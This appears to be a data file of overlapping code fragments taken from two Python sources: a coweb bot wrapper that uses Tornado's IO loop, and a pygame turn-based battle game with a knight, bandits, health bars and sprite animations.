"inform local manager we're ready self.add_callback(self._manager.on_bot_ready, serviceName, serviceToken, self) def",
"time import weakref import functools # coweb from .base import",
"# std lib import logging import time import weakref import",
"error not a client error try: mtd(*args) except Exception: log.exception('bot",
"appData): self.serviceName = serviceName self.appData = appData self._serviceToken = serviceToken",
"wrong, it's a bot # error not a client error",
"return # keep sync with manager so we can catch",
"def add_callback(self, callback, *args, **kwargs): '''Schedule a callback in the",
"'''Add a one-shot timer that schedules a main loop callback.'''",
"+ delay, f) def remove_timer(self, timer): '''Remove a one-shot timer.'''",
"def on_message(self, mtdName, *args): '''Proxy messages from manager to bot",
"schedules a main loop callback.''' f = functools.partial(callback, *args, **kwargs)",
"in the main loop.''' f = functools.partial(callback, *args, **kwargs) self._ioLoop.add_callback(f)",
"Foundation 2011. All Rights Reserved. Copyright (c) IBM Corporation 2008,",
"Rights Reserved. ''' # tornado import tornado.ioloop # std lib",
"data): '''Sends a public reply to subscribes on a bot",
"Dojo Foundation 2011. All Rights Reserved. Copyright (c) IBM Corporation",
"to a requestor.''' self._manager.on_bot_response(self.serviceName, replyToken, data) def publish(self, data): '''Sends",
"local manager we're ready self.add_callback(self._manager.on_bot_ready, serviceName, serviceToken, self) def on_message(self,",
"on a bot subchannel.''' self._manager.on_bot_publish(self.serviceName, data) def add_callback(self, callback, *args,",
"import weakref import functools # coweb from .base import BotWrapperBase",
"bot # error not a client error try: mtd(*args) except",
"delay, callback, *args, **kwargs): '''Add a one-shot timer that schedules",
"*args, **kwargs): '''Add a one-shot timer that schedules a main",
"'''Schedule a callback in the main loop.''' f = functools.partial(callback,",
"# fires in context of original request which is wrong,",
"import time import weakref import functools # coweb from .base",
"*args, **kwargs) return self._ioLoop.add_timeout(time.time() + delay, f) def remove_timer(self, timer):",
"Reserved. ''' # tornado import tornado.ioloop # std lib import"
] |
[
"y)) #function for drawing background def draw_bg(): screen.blit(background_img, (0, 0))",
"{i.hp}', font, red, 550, (screen_height - bottom_panel + 10) +",
"action #attack if attack == True and target != None:",
"import pygame import random pygame.init() clock = pygame.time.Clock() fps =",
"0 else: current_fighter += 1 #if all fighters have had",
"[] bandit_list.append(bandit1) bandit_list.append(bandit2) knight_health_bar = HealthBar(100, screen_height - bottom_panel +",
"= pygame.transform.scale(img, (img.get_width() * 3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list)",
"20, 6, 1) bandit_list = [] bandit_list.append(bandit1) bandit_list.append(bandit2) knight_health_bar =",
"= hp #calculate health ratio ratio = self.hp / self.max_hp",
"- bottom_panel)) #show knight stats draw_text(f'{knight.name} HP: {knight.hp}', font, red,",
"#update with new health self.hp = hp #calculate health ratio",
"current_fighter > total_fighters: current_fighter = 1 for event in pygame.event.get():",
"hp #calculate health ratio ratio = self.hp / self.max_hp pygame.draw.rect(screen,",
"HealthBar(100, screen_height - bottom_panel + 40, knight.hp, knight.max_hp) bandit1_health_bar =",
"if attack == True and target != None: knight.attack(target) current_fighter",
"animation_cooldown: self.update_time = pygame.time.get_ticks() self.frame_index += 1 #if the animation",
"class HealthBar(): def __init__(self, x, y, hp, max_hp): self.x =",
"cursor screen.blit(sword_img, pos) if clicked == True: attack = True",
"count, bandit in enumerate(bandit_list): if current_fighter == 2 + count:",
"= (0, 255, 0) #load images #background image background_img =",
"x self.y = y self.hp = hp self.max_hp = max_hp",
"action for count, bandit in enumerate(bandit_list): if current_fighter == 2",
"sword in place of mouse cursor screen.blit(sword_img, pos) if clicked",
"#load attack images temp_list = [] for i in range(8):",
"image sword_img = pygame.image.load('img/Icons/sword.png').convert_alpha() #create function for drawing text def",
"pygame.transform.scale(img, (img.get_width() * 3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) self.image",
"#set variables to attack animation self.action = 0 self.frame_index =",
"150 screen_width = 800 screen_height = 400 + bottom_panel screen",
"False potion = False clicked = False #define fonts font",
"self.frame_index = 0 self.update_time = pygame.time.get_ticks() def attack(self, target): #deal",
"pygame.image.load(f'img/{self.name}/Attack/{i}.png') img = pygame.transform.scale(img, (img.get_width() * 3, img.get_height() * 3))",
"def attack(self, target): #deal damage to enemy rand = random.randint(-5,",
"max_hp def draw(self, hp): #update with new health self.hp =",
"action if knight.alive == True: if current_fighter == 1: action_cooldown",
"for drawing background def draw_bg(): screen.blit(background_img, (0, 0)) #function for",
">= len(self.animation_list[self.action]): self.idle() def idle(self): #set variables to attack animation",
"pygame.time.get_ticks() def draw(self): screen.blit(self.image, self.rect) class HealthBar(): def __init__(self, x,",
"(img.get_width() * 3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) #load attack",
"red, 100, screen_height - bottom_panel + 10) for count, i",
"#panel image panel_img = pygame.image.load('img/Icons/panel.png').convert_alpha() #sword image sword_img = pygame.image.load('img/Icons/sword.png').convert_alpha()",
"x, y, name, max_hp, strength, potions): self.name = name self.max_hp",
"animation self.action = 1 self.frame_index = 0 self.update_time = pygame.time.get_ticks()",
"animation #update image self.image = self.animation_list[self.action][self.frame_index] #check if enough time",
"+ 40, bandit1.hp, bandit1.max_hp) bandit2_health_bar = HealthBar(550, screen_height - bottom_panel",
"True while run: clock.tick(fps) #draw background draw_bg() #draw panel draw_panel()",
"pygame.mouse.set_visible(True) pos = pygame.mouse.get_pos() for count, bandit in enumerate(bandit_list): if",
"self.action = 0 self.frame_index = 0 self.update_time = pygame.time.get_ticks() def",
"bandit.rect.collidepoint(pos): #hide mouse pygame.mouse.set_visible(False) #show sword in place of mouse",
"all fighters have had a turn then reset if current_fighter",
"= True self.animation_list = [] self.frame_index = 0 self.action =",
"to attack animation self.action = 1 self.frame_index = 0 self.update_time",
"False potion = False target = None #make sure mouse",
"self.update_time = pygame.time.get_ticks() #load idle images temp_list = [] for",
"= pygame.time.get_ticks() def draw(self): screen.blit(self.image, self.rect) class HealthBar(): def __init__(self,",
"current_fighter += 1 action_cooldown = 0 else: current_fighter += 1",
"> animation_cooldown: self.update_time = pygame.time.get_ticks() self.frame_index += 1 #if the",
"- bottom_panel + 40, knight.hp, knight.max_hp) bandit1_health_bar = HealthBar(550, screen_height",
"max_hp self.hp = max_hp self.strength = strength self.start_potions = potions",
"and health draw_text(f'{i.name} HP: {i.hp}', font, red, 550, (screen_height -",
"pos = pygame.mouse.get_pos() for count, bandit in enumerate(bandit_list): if bandit.rect.collidepoint(pos):",
"bottom_panel + 40, knight.hp, knight.max_hp) bandit1_health_bar = HealthBar(550, screen_height -",
"screen.blit(panel_img, (0, screen_height - bottom_panel)) #show knight stats draw_text(f'{knight.name} HP:",
"rand = random.randint(-5, 5) damage = self.strength + rand target.hp",
"self.update_time = pygame.time.get_ticks() def draw(self): screen.blit(self.image, self.rect) class HealthBar(): def",
"= 60 #game window bottom_panel = 150 screen_width = 800",
"event.type == pygame.QUIT: run = False if event.type == pygame.MOUSEBUTTONDOWN:",
"bandit in bandit_list: bandit.update() bandit.draw() #control player actions #reset action",
"image self.image = self.animation_list[self.action][self.frame_index] #check if enough time has passed",
"in place of mouse cursor screen.blit(sword_img, pos) if clicked ==",
"0) #load images #background image background_img = pygame.image.load('img/Background/background.png').convert_alpha() #panel image",
"bandit.attack(knight) current_fighter += 1 action_cooldown = 0 else: current_fighter +=",
"count * 60) #fighter class class Fighter(): def __init__(self, x,",
"action_cooldown = 0 #enemy action for count, bandit in enumerate(bandit_list):",
"Fighter(): def __init__(self, x, y, name, max_hp, strength, potions): self.name",
"3) bandit1 = Fighter(550, 270, 'Bandit', 20, 6, 1) bandit2",
"#enemy action for count, bandit in enumerate(bandit_list): if current_fighter ==",
"self.potions = potions self.alive = True self.animation_list = [] self.frame_index",
"self.start_potions = potions self.potions = potions self.alive = True self.animation_list",
"knight.update() knight.draw() for bandit in bandit_list: bandit.update() bandit.draw() #control player",
"= True target = bandit_list[count] #player action if knight.alive ==",
"= font.render(text, True, text_col) screen.blit(img, (x, y)) #function for drawing",
"3)) temp_list.append(img) self.animation_list.append(temp_list) #load attack images temp_list = [] for",
"HealthBar(550, screen_height - bottom_panel + 40, bandit1.hp, bandit1.max_hp) bandit2_health_bar =",
"HP: {knight.hp}', font, red, 100, screen_height - bottom_panel + 10)",
"pygame.display.set_caption('Battle') #define game variables current_fighter = 1 total_fighters = 3",
"0 action_wait_time = 90 attack = False potion = False",
"== 1: action_cooldown += 1 if action_cooldown >= action_wait_time: #look",
"a turn then reset if current_fighter > total_fighters: current_fighter =",
"pygame.MOUSEBUTTONDOWN: clicked = True else: clicked = False pygame.display.update() pygame.quit()",
"#load idle images temp_list = [] for i in range(8):",
"img = pygame.image.load(f'img/{self.name}/Idle/{i}.png') img = pygame.transform.scale(img, (img.get_width() * 3, img.get_height()",
"pygame.init() clock = pygame.time.Clock() fps = 60 #game window bottom_panel",
"= 100 #handle animation #update image self.image = self.animation_list[self.action][self.frame_index] #check",
"= 0#0:idle, 1:attack, 2:hurt, 3:dead self.update_time = pygame.time.get_ticks() #load idle",
"mouse is visible pygame.mouse.set_visible(True) pos = pygame.mouse.get_pos() for count, bandit",
"text def draw_text(text, font, text_col, x, y): img = font.render(text,",
"for event in pygame.event.get(): if event.type == pygame.QUIT: run =",
"False clicked = False #define fonts font = pygame.font.SysFont('Times New",
"animation self.action = 0 self.frame_index = 0 self.update_time = pygame.time.get_ticks()",
"pygame.mouse.set_visible(False) #show sword in place of mouse cursor screen.blit(sword_img, pos)",
"False #set variables to attack animation self.action = 1 self.frame_index",
"= potions self.alive = True self.animation_list = [] self.frame_index =",
"- bottom_panel + 40, bandit1.hp, bandit1.max_hp) bandit2_health_bar = HealthBar(550, screen_height",
"font, red, 100, screen_height - bottom_panel + 10) for count,",
"draw_text(f'{i.name} HP: {i.hp}', font, red, 550, (screen_height - bottom_panel +",
"draw(self, hp): #update with new health self.hp = hp #calculate",
"bottom_panel + 10) for count, i in enumerate(bandit_list): #show name",
"400 + bottom_panel screen = pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Battle') #define game",
"if self.frame_index >= len(self.animation_list[self.action]): self.idle() def idle(self): #set variables to",
"player actions #reset action variables attack = False potion =",
"knight.draw() for bandit in bandit_list: bandit.update() bandit.draw() #control player actions",
"if target.hp < 1: target.hp = 0 target.alive = False",
"- self.update_time > animation_cooldown: self.update_time = pygame.time.get_ticks() self.frame_index += 1",
"800 screen_height = 400 + bottom_panel screen = pygame.display.set_mode((screen_width, screen_height))",
"and target != None: knight.attack(target) current_fighter += 1 action_cooldown =",
"0#0:idle, 1:attack, 2:hurt, 3:dead self.update_time = pygame.time.get_ticks() #load idle images",
"variables to attack animation self.action = 0 self.frame_index = 0",
"= 0 self.update_time = pygame.time.get_ticks() def draw(self): screen.blit(self.image, self.rect) class",
"10) + count * 60) #fighter class class Fighter(): def",
"#sword image sword_img = pygame.image.load('img/Icons/sword.png').convert_alpha() #create function for drawing text",
"HealthBar(550, screen_height - bottom_panel + 100, bandit2.hp, bandit2.max_hp) run =",
"total_fighters: current_fighter = 1 for event in pygame.event.get(): if event.type",
"mouse pygame.mouse.set_visible(False) #show sword in place of mouse cursor screen.blit(sword_img,",
"ratio = self.hp / self.max_hp pygame.draw.rect(screen, red, (self.x, self.y, 150,",
"1) bandit2 = Fighter(700, 270, 'Bandit', 20, 6, 1) bandit_list",
"#hide mouse pygame.mouse.set_visible(False) #show sword in place of mouse cursor",
"'Knight', 30, 10, 3) bandit1 = Fighter(550, 270, 'Bandit', 20,",
"self.animation_list[self.action][self.frame_index] self.rect = self.image.get_rect() self.rect.center = (x, y) def update(self):",
"self.y = y self.hp = hp self.max_hp = max_hp def",
"def draw_panel(): #draw panel rectangle screen.blit(panel_img, (0, screen_height - bottom_panel))",
"[] for i in range(8): img = pygame.image.load(f'img/{self.name}/Attack/{i}.png') img =",
"'Bandit', 20, 6, 1) bandit_list = [] bandit_list.append(bandit1) bandit_list.append(bandit2) knight_health_bar",
"pygame.draw.rect(screen, green, (self.x, self.y, 150 * ratio, 20)) knight =",
"10, 3) bandit1 = Fighter(550, 270, 'Bandit', 20, 6, 1)",
"if event.type == pygame.QUIT: run = False if event.type ==",
"None: knight.attack(target) current_fighter += 1 action_cooldown = 0 #enemy action",
"i in range(8): img = pygame.image.load(f'img/{self.name}/Attack/{i}.png') img = pygame.transform.scale(img, (img.get_width()",
"(self.x, self.y, 150, 20)) pygame.draw.rect(screen, green, (self.x, self.y, 150 *",
"pos) if clicked == True: attack = True target =",
"enumerate(bandit_list): if current_fighter == 2 + count: if bandit.alive ==",
"enough time has passed since the last update if pygame.time.get_ticks()",
"screen_height - bottom_panel)) #show knight stats draw_text(f'{knight.name} HP: {knight.hp}', font,",
"(x, y)) #function for drawing background def draw_bg(): screen.blit(background_img, (0,",
"< 1: target.hp = 0 target.alive = False #set variables",
"action variables attack = False potion = False target =",
"if clicked == True: attack = True target = bandit_list[count]",
"__init__(self, x, y, name, max_hp, strength, potions): self.name = name",
"new health self.hp = hp #calculate health ratio ratio =",
"1 action_cooldown = 0 #enemy action for count, bandit in",
"window bottom_panel = 150 screen_width = 800 screen_height = 400",
"def __init__(self, x, y, name, max_hp, strength, potions): self.name =",
"[] self.frame_index = 0 self.action = 0#0:idle, 1:attack, 2:hurt, 3:dead",
"* 3)) temp_list.append(img) self.animation_list.append(temp_list) #load attack images temp_list = []",
"bandit1 = Fighter(550, 270, 'Bandit', 20, 6, 1) bandit2 =",
"if bandit.alive == True: action_cooldown += 1 if action_cooldown >=",
"self.name = name self.max_hp = max_hp self.hp = max_hp self.strength",
"= HealthBar(100, screen_height - bottom_panel + 40, knight.hp, knight.max_hp) bandit1_health_bar",
"255, 0) #load images #background image background_img = pygame.image.load('img/Background/background.png').convert_alpha() #panel",
"= pygame.time.get_ticks() def attack(self, target): #deal damage to enemy rand",
"= Fighter(700, 270, 'Bandit', 20, 6, 1) bandit_list = []",
"self.hp = hp self.max_hp = max_hp def draw(self, hp): #update",
"screen.blit(img, (x, y)) #function for drawing background def draw_bg(): screen.blit(background_img,",
"name self.max_hp = max_hp self.hp = max_hp self.strength = strength",
"1 total_fighters = 3 action_cooldown = 0 action_wait_time = 90",
"target = bandit_list[count] #player action if knight.alive == True: if",
"img = pygame.image.load(f'img/{self.name}/Attack/{i}.png') img = pygame.transform.scale(img, (img.get_width() * 3, img.get_height()",
"of mouse cursor screen.blit(sword_img, pos) if clicked == True: attack",
"= (255, 0, 0) green = (0, 255, 0) #load",
"== pygame.QUIT: run = False if event.type == pygame.MOUSEBUTTONDOWN: clicked",
"idle(self): #set variables to attack animation self.action = 0 self.frame_index",
"pygame.transform.scale(img, (img.get_width() * 3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) #load",
"= self.strength + rand target.hp -= damage #check if target",
"background draw_bg() #draw panel draw_panel() knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp) #draw fighters",
"(img.get_width() * 3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) self.image =",
"self.animation_list.append(temp_list) self.image = self.animation_list[self.action][self.frame_index] self.rect = self.image.get_rect() self.rect.center = (x,",
"count: if bandit.alive == True: action_cooldown += 1 if action_cooldown",
"font = pygame.font.SysFont('Times New Roman', 26) #define colours red =",
"bandit.alive == True: action_cooldown += 1 if action_cooldown >= action_wait_time:",
"= 0 else: current_fighter += 1 #if all fighters have",
"= 0 target.alive = False #set variables to attack animation",
"draw_bg() #draw panel draw_panel() knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp) #draw fighters knight.update()",
"= 150 screen_width = 800 screen_height = 400 + bottom_panel",
"= None #make sure mouse is visible pygame.mouse.set_visible(True) pos =",
"= max_hp self.hp = max_hp self.strength = strength self.start_potions =",
"place of mouse cursor screen.blit(sword_img, pos) if clicked == True:",
"current_fighter == 2 + count: if bandit.alive == True: action_cooldown",
"100 #handle animation #update image self.image = self.animation_list[self.action][self.frame_index] #check if",
"temp_list.append(img) self.animation_list.append(temp_list) self.image = self.animation_list[self.action][self.frame_index] self.rect = self.image.get_rect() self.rect.center =",
"== pygame.MOUSEBUTTONDOWN: clicked = True else: clicked = False pygame.display.update()",
"died if target.hp < 1: target.hp = 0 target.alive =",
"self.y, 150 * ratio, 20)) knight = Fighter(200, 260, 'Knight',",
"img = font.render(text, True, text_col) screen.blit(img, (x, y)) #function for",
"has run out then reset back to the start if",
"== True: attack = True target = bandit_list[count] #player action",
"self.max_hp = max_hp def draw(self, hp): #update with new health",
"= [] bandit_list.append(bandit1) bandit_list.append(bandit2) knight_health_bar = HealthBar(100, screen_height - bottom_panel",
"x, y): img = font.render(text, True, text_col) screen.blit(img, (x, y))",
"6, 1) bandit_list = [] bandit_list.append(bandit1) bandit_list.append(bandit2) knight_health_bar = HealthBar(100,",
"bottom_panel + 10) + count * 60) #fighter class class",
"knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp) #draw fighters knight.update() knight.draw() for bandit in",
"#make sure mouse is visible pygame.mouse.set_visible(True) pos = pygame.mouse.get_pos() for",
"#define fonts font = pygame.font.SysFont('Times New Roman', 26) #define colours",
"max_hp): self.x = x self.y = y self.hp = hp",
"in enumerate(bandit_list): if bandit.rect.collidepoint(pos): #hide mouse pygame.mouse.set_visible(False) #show sword in",
"False target = None #make sure mouse is visible pygame.mouse.set_visible(True)",
"self.animation_list[self.action][self.frame_index] #check if enough time has passed since the last",
"3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) #load attack images temp_list",
"#define colours red = (255, 0, 0) green = (0,",
"= 0 self.update_time = pygame.time.get_ticks() def attack(self, target): #deal damage",
"health ratio ratio = self.hp / self.max_hp pygame.draw.rect(screen, red, (self.x,",
"== 2 + count: if bandit.alive == True: action_cooldown +=",
"attack = False potion = False clicked = False #define",
"3)) temp_list.append(img) self.animation_list.append(temp_list) self.image = self.animation_list[self.action][self.frame_index] self.rect = self.image.get_rect() self.rect.center",
"- bottom_panel + 10) + count * 60) #fighter class",
"if current_fighter == 1: action_cooldown += 1 if action_cooldown >=",
"panel def draw_panel(): #draw panel rectangle screen.blit(panel_img, (0, screen_height -",
"bandit in enumerate(bandit_list): if bandit.rect.collidepoint(pos): #hide mouse pygame.mouse.set_visible(False) #show sword",
"def idle(self): #set variables to attack animation self.action = 0",
"the last update if pygame.time.get_ticks() - self.update_time > animation_cooldown: self.update_time",
"start if self.frame_index >= len(self.animation_list[self.action]): self.idle() def idle(self): #set variables",
"'Bandit', 20, 6, 1) bandit2 = Fighter(700, 270, 'Bandit', 20,",
"action_wait_time = 90 attack = False potion = False clicked",
"if bandit.rect.collidepoint(pos): #hide mouse pygame.mouse.set_visible(False) #show sword in place of",
"60) #fighter class class Fighter(): def __init__(self, x, y, name,",
"bandit2_health_bar.draw(bandit2.hp) #draw fighters knight.update() knight.draw() for bandit in bandit_list: bandit.update()",
"strength self.start_potions = potions self.potions = potions self.alive = True",
"self.frame_index = 0 self.action = 0#0:idle, 1:attack, 2:hurt, 3:dead self.update_time",
"panel draw_panel() knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp) #draw fighters knight.update() knight.draw() for",
"10) for count, i in enumerate(bandit_list): #show name and health",
"random pygame.init() clock = pygame.time.Clock() fps = 60 #game window",
"back to the start if self.frame_index >= len(self.animation_list[self.action]): self.idle() def",
"= 1 self.frame_index = 0 self.update_time = pygame.time.get_ticks() def draw(self):",
"20)) knight = Fighter(200, 260, 'Knight', 30, 10, 3) bandit1",
"= self.animation_list[self.action][self.frame_index] #check if enough time has passed since the",
"text_col) screen.blit(img, (x, y)) #function for drawing background def draw_bg():",
"draw_panel() knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp) #draw fighters knight.update() knight.draw() for bandit",
"draw_bg(): screen.blit(background_img, (0, 0)) #function for drawing panel def draw_panel():",
"#calculate health ratio ratio = self.hp / self.max_hp pygame.draw.rect(screen, red,",
"HP: {i.hp}', font, red, 550, (screen_height - bottom_panel + 10)",
"enumerate(bandit_list): #show name and health draw_text(f'{i.name} HP: {i.hp}', font, red,",
"self.strength + rand target.hp -= damage #check if target has",
"self.update_time = pygame.time.get_ticks() def attack(self, target): #deal damage to enemy",
"== True: if current_fighter == 1: action_cooldown += 1 if",
"self.max_hp pygame.draw.rect(screen, red, (self.x, self.y, 150, 20)) pygame.draw.rect(screen, green, (self.x,",
"ratio ratio = self.hp / self.max_hp pygame.draw.rect(screen, red, (self.x, self.y,",
"= 0 action_wait_time = 90 attack = False potion =",
"= pygame.image.load('img/Icons/sword.png').convert_alpha() #create function for drawing text def draw_text(text, font,",
"rectangle screen.blit(panel_img, (0, screen_height - bottom_panel)) #show knight stats draw_text(f'{knight.name}",
"draw_text(text, font, text_col, x, y): img = font.render(text, True, text_col)",
"self.animation_list.append(temp_list) #load attack images temp_list = [] for i in",
"attack(self, target): #deal damage to enemy rand = random.randint(-5, 5)",
"bottom_panel = 150 screen_width = 800 screen_height = 400 +",
"#handle animation #update image self.image = self.animation_list[self.action][self.frame_index] #check if enough",
"+ 10) + count * 60) #fighter class class Fighter():",
"game variables current_fighter = 1 total_fighters = 3 action_cooldown =",
"fighters knight.update() knight.draw() for bandit in bandit_list: bandit.update() bandit.draw() #control",
"drawing text def draw_text(text, font, text_col, x, y): img =",
"- bottom_panel + 100, bandit2.hp, bandit2.max_hp) run = True while",
"to attack animation self.action = 0 self.frame_index = 0 self.update_time",
"* 60) #fighter class class Fighter(): def __init__(self, x, y,",
"knight.max_hp) bandit1_health_bar = HealthBar(550, screen_height - bottom_panel + 40, bandit1.hp,",
"temp_list = [] for i in range(8): img = pygame.image.load(f'img/{self.name}/Attack/{i}.png')",
"for player action #attack if attack == True and target",
"then reset back to the start if self.frame_index >= len(self.animation_list[self.action]):",
"1 #if all fighters have had a turn then reset",
"= max_hp def draw(self, hp): #update with new health self.hp",
"5) damage = self.strength + rand target.hp -= damage #check",
"#if all fighters have had a turn then reset if",
"draw_panel(): #draw panel rectangle screen.blit(panel_img, (0, screen_height - bottom_panel)) #show",
"= False potion = False target = None #make sure",
"= self.hp / self.max_hp pygame.draw.rect(screen, red, (self.x, self.y, 150, 20))",
"150, 20)) pygame.draw.rect(screen, green, (self.x, self.y, 150 * ratio, 20))",
"event in pygame.event.get(): if event.type == pygame.QUIT: run = False",
"animation_cooldown = 100 #handle animation #update image self.image = self.animation_list[self.action][self.frame_index]",
"= [] for i in range(8): img = pygame.image.load(f'img/{self.name}/Attack/{i}.png') img",
"font, red, 550, (screen_height - bottom_panel + 10) + count",
"target.hp < 1: target.hp = 0 target.alive = False #set",
"self.frame_index += 1 #if the animation has run out then",
"self.rect.center = (x, y) def update(self): animation_cooldown = 100 #handle",
"len(self.animation_list[self.action]): self.idle() def idle(self): #set variables to attack animation self.action",
"screen = pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Battle') #define game variables current_fighter =",
"#check if target has died if target.hp < 1: target.hp",
"Fighter(200, 260, 'Knight', 30, 10, 3) bandit1 = Fighter(550, 270,",
"+= 1 if action_cooldown >= action_wait_time: #attack bandit.attack(knight) current_fighter +=",
"def draw_bg(): screen.blit(background_img, (0, 0)) #function for drawing panel def",
"#look for player action #attack if attack == True and",
"* 3)) temp_list.append(img) self.animation_list.append(temp_list) self.image = self.animation_list[self.action][self.frame_index] self.rect = self.image.get_rect()",
"has passed since the last update if pygame.time.get_ticks() - self.update_time",
"= HealthBar(550, screen_height - bottom_panel + 100, bandit2.hp, bandit2.max_hp) run",
"reset if current_fighter > total_fighters: current_fighter = 1 for event",
"pygame.QUIT: run = False if event.type == pygame.MOUSEBUTTONDOWN: clicked =",
"class class Fighter(): def __init__(self, x, y, name, max_hp, strength,",
"1 self.frame_index = 0 self.update_time = pygame.time.get_ticks() def draw(self): screen.blit(self.image,",
"550, (screen_height - bottom_panel + 10) + count * 60)",
"if action_cooldown >= action_wait_time: #attack bandit.attack(knight) current_fighter += 1 action_cooldown",
"= False if event.type == pygame.MOUSEBUTTONDOWN: clicked = True else:",
"run = False if event.type == pygame.MOUSEBUTTONDOWN: clicked = True",
"name and health draw_text(f'{i.name} HP: {i.hp}', font, red, 550, (screen_height",
"+ rand target.hp -= damage #check if target has died",
"Fighter(550, 270, 'Bandit', 20, 6, 1) bandit2 = Fighter(700, 270,",
"self.y, 150, 20)) pygame.draw.rect(screen, green, (self.x, self.y, 150 * ratio,",
"self.frame_index >= len(self.animation_list[self.action]): self.idle() def idle(self): #set variables to attack",
"(screen_height - bottom_panel + 10) + count * 60) #fighter",
"#function for drawing background def draw_bg(): screen.blit(background_img, (0, 0)) #function",
"pygame.time.get_ticks() self.frame_index += 1 #if the animation has run out",
"0 #enemy action for count, bandit in enumerate(bandit_list): if current_fighter",
"screen_height)) pygame.display.set_caption('Battle') #define game variables current_fighter = 1 total_fighters =",
"* 3, img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) #load attack images",
"img = pygame.transform.scale(img, (img.get_width() * 3, img.get_height() * 3)) temp_list.append(img)",
"hp): #update with new health self.hp = hp #calculate health",
"y, hp, max_hp): self.x = x self.y = y self.hp",
"screen_height - bottom_panel + 100, bandit2.hp, bandit2.max_hp) run = True",
"green = (0, 255, 0) #load images #background image background_img",
"in enumerate(bandit_list): #show name and health draw_text(f'{i.name} HP: {i.hp}', font,",
"if action_cooldown >= action_wait_time: #look for player action #attack if",
"2 + count: if bandit.alive == True: action_cooldown += 1",
"= 800 screen_height = 400 + bottom_panel screen = pygame.display.set_mode((screen_width,",
"= self.animation_list[self.action][self.frame_index] self.rect = self.image.get_rect() self.rect.center = (x, y) def",
"knight.alive == True: if current_fighter == 1: action_cooldown += 1",
"pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Battle') #define game variables current_fighter = 1 total_fighters",
"= (x, y) def update(self): animation_cooldown = 100 #handle animation",
"bandit_list[count] #player action if knight.alive == True: if current_fighter ==",
"screen.blit(sword_img, pos) if clicked == True: attack = True target",
"attack animation self.action = 1 self.frame_index = 0 self.update_time =",
"total_fighters = 3 action_cooldown = 0 action_wait_time = 90 attack",
"if target has died if target.hp < 1: target.hp =",
"= False clicked = False #define fonts font = pygame.font.SysFont('Times",
"> total_fighters: current_fighter = 1 for event in pygame.event.get(): if",
"current_fighter += 1 action_cooldown = 0 #enemy action for count,",
"self.idle() def idle(self): #set variables to attack animation self.action =",
"img.get_height() * 3)) temp_list.append(img) self.animation_list.append(temp_list) #load attack images temp_list =",
"is visible pygame.mouse.set_visible(True) pos = pygame.mouse.get_pos() for count, bandit in",
"= Fighter(200, 260, 'Knight', 30, 10, 3) bandit1 = Fighter(550,",
"bandit_list.append(bandit1) bandit_list.append(bandit2) knight_health_bar = HealthBar(100, screen_height - bottom_panel + 40,",
"in enumerate(bandit_list): if current_fighter == 2 + count: if bandit.alive",
"range(8): img = pygame.image.load(f'img/{self.name}/Idle/{i}.png') img = pygame.transform.scale(img, (img.get_width() * 3,",
"knight = Fighter(200, 260, 'Knight', 30, 10, 3) bandit1 =",
"bandit2_health_bar = HealthBar(550, screen_height - bottom_panel + 100, bandit2.hp, bandit2.max_hp)",
"variables current_fighter = 1 total_fighters = 3 action_cooldown = 0",
"3:dead self.update_time = pygame.time.get_ticks() #load idle images temp_list = []",
"player action #attack if attack == True and target !=",
"mouse cursor screen.blit(sword_img, pos) if clicked == True: attack =",
"update(self): animation_cooldown = 100 #handle animation #update image self.image =",
"fonts font = pygame.font.SysFont('Times New Roman', 26) #define colours red",
"clock.tick(fps) #draw background draw_bg() #draw panel draw_panel() knight_health_bar.draw(knight.hp) bandit1_health_bar.draw(bandit1.hp) bandit2_health_bar.draw(bandit2.hp)",
"attack images temp_list = [] for i in range(8): img",
"random.randint(-5, 5) damage = self.strength + rand target.hp -= damage",
"== True and target != None: knight.attack(target) current_fighter += 1",
"knight.attack(target) current_fighter += 1 action_cooldown = 0 #enemy action for",
"image panel_img = pygame.image.load('img/Icons/panel.png').convert_alpha() #sword image sword_img = pygame.image.load('img/Icons/sword.png').convert_alpha() #create",
"action_cooldown = 0 else: current_fighter += 1 #if all fighters",
"green, (self.x, self.y, 150 * ratio, 20)) knight = Fighter(200,",
"60 #game window bottom_panel = 150 screen_width = 800 screen_height",
"screen.blit(self.image, self.rect) class HealthBar(): def __init__(self, x, y, hp, max_hp):",
"for i in range(8): img = pygame.image.load(f'img/{self.name}/Attack/{i}.png') img = pygame.transform.scale(img,",
"bottom_panel)) #show knight stats draw_text(f'{knight.name} HP: {knight.hp}', font, red, 100,",
"* ratio, 20)) knight = Fighter(200, 260, 'Knight', 30, 10,",
"self.action = 1 self.frame_index = 0 self.update_time = pygame.time.get_ticks() def",
"1: action_cooldown += 1 if action_cooldown >= action_wait_time: #look for",
"health draw_text(f'{i.name} HP: {i.hp}', font, red, 550, (screen_height - bottom_panel",
"def draw_text(text, font, text_col, x, y): img = font.render(text, True,",
"target has died if target.hp < 1: target.hp = 0",
"for count, bandit in enumerate(bandit_list): if current_fighter == 2 +",
"font.render(text, True, text_col) screen.blit(img, (x, y)) #function for drawing background",
"#load images #background image background_img = pygame.image.load('img/Background/background.png').convert_alpha() #panel image panel_img",
"target.alive = False #set variables to attack animation self.action =",
"time has passed since the last update if pygame.time.get_ticks() -",
"+ bottom_panel screen = pygame.display.set_mode((screen_width, screen_height)) pygame.display.set_caption('Battle') #define game variables",
"(0, screen_height - bottom_panel)) #show knight stats draw_text(f'{knight.name} HP: {knight.hp}',",
"attack = True target = bandit_list[count] #player action if knight.alive",
